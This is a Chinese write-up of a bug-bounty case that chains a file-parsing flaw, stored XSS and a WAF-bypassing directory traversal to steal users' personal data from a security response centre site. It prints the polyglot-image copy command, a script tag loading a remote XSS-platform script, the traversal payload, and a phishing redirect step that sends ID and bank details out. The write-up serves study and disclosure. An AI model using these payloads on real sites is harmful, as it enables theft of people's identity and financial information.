SRC案例-用组合拳在SRC官网盗走你的个人信息

本文最后更新于 2024年10月22日 下午

声明:本SRC案例来自J0神,此处只是做学习研究之用

漏洞发现

  1. 先是在某SRC官网FUZZ出一处图片显示接口,发现image__name参数是图片路径,那么有几个可尝试的点:文件包含getshell;目录穿越;ssrf……
1
https://xxx.cn/xxxx/ueditor?image_name=/xxx.png
  1. 经过尝试,文件包含、ssrf都不行,只是拼接读取了远程资源站的图⽚。但在给路径后加上”+”后,奇迹出现了:
1
https://xxx.cn/xxxx/ueditor?image_name=/xxx.png+

image

图⽚被意外的解析成了HTML⻚⾯,此处存在文件解析漏洞!

  1. 既然能把png解析为html,那么我们构造一个带有JS代码的图片,访问路径,加上”+”,就构成了存储型XSS
  2. 继续尝试目录穿越,/../../3.png,出现了自研WAF,拦截了

image

  1. 没事,使用burp FUZZ一下就bypass了
1
Payload: /..%252F/

image

漏洞利⽤

现在已经可以存储型XSS+目录穿越了,又已知该SRC官网因为要打款奖励,所以需要用户填写个⼈信息(姓名,⼿机号,sfz等信息),⽽这些信息⽤户自己可以在个人中心处查看,于是直接打一套组合拳提升危害,去盗取这些个人信息

  1. 利⽤010Editor或copy命令,构造含有恶意代码的图⽚
  • 010Editor:就不多说了,以16进制方式打开后,直接把js代码加在末尾就可以了
  • copy命令:
1
copy tiny.png /b + code.txt /a tiny_code.png

拿一张很小的普通图片tiny.png,js代码写在code.txt,二者合成生成了tiny_code.png:插入了恶意js代码的图片

  • code.txt
1
<script src="http://xss.com/xxx/demo.js"></script>

这个http://xss.com/xxx/demo.js其实就是把demo.js部署在了远程XSS平台,这样看可以执行更多的JS代码,且方便接收执行得到的数据

  • demo.js

image

脚本会通过Ajax请求URL,使⽤DOMParser转换并解析DOM对象,提取⽤户身份证、银⾏卡、⼿机号、地址等信息后合并base64编码发送到XSS平台接收数据

  1. 构造好了恶意图片,那么就去找文件上传接口上传图片了,直接上传刚刚构造好的恶意图片,但是上传到的路径不是那个存在文件解析漏洞的路径下,于是目录遍历漏洞就派上用场了,在那个存在文件解析漏洞的接口image__name参数传入/..%252F/xxx/xxx/tiny_code.png穿越一下目录,就可以了

  2. 然后再构造一个,用来钓鱼跳转的网站,实现只要受害者访问该网站,就自动跳转去请求我们刚才的恶意图片链接(被解析为了html执行),就会无感的触发其中已经构造好的js代码,去远程调用XSS平台中的demo.js,获取SRC官网个人中心处的个人信息,并把数据发送给XSS平台接收

  • 钓鱼跳转网站

image

  • 构造好的恶意图片链接(被解析为了html执行)

image

  • XSS平台接收到数据

image

  • 成功窃取到受害者的信息,base64解码即可

image

技术点总结

  1. Fuzz出接⼝及参数,拼接+号解析成HTML⻚⾯
  2. URL拼接时BypassWAF进⾏⽬录穿越
  3. 使⽤DOMParser转换为DOM对象并提取表单input值,后通过window.btoa函数base64编码字符串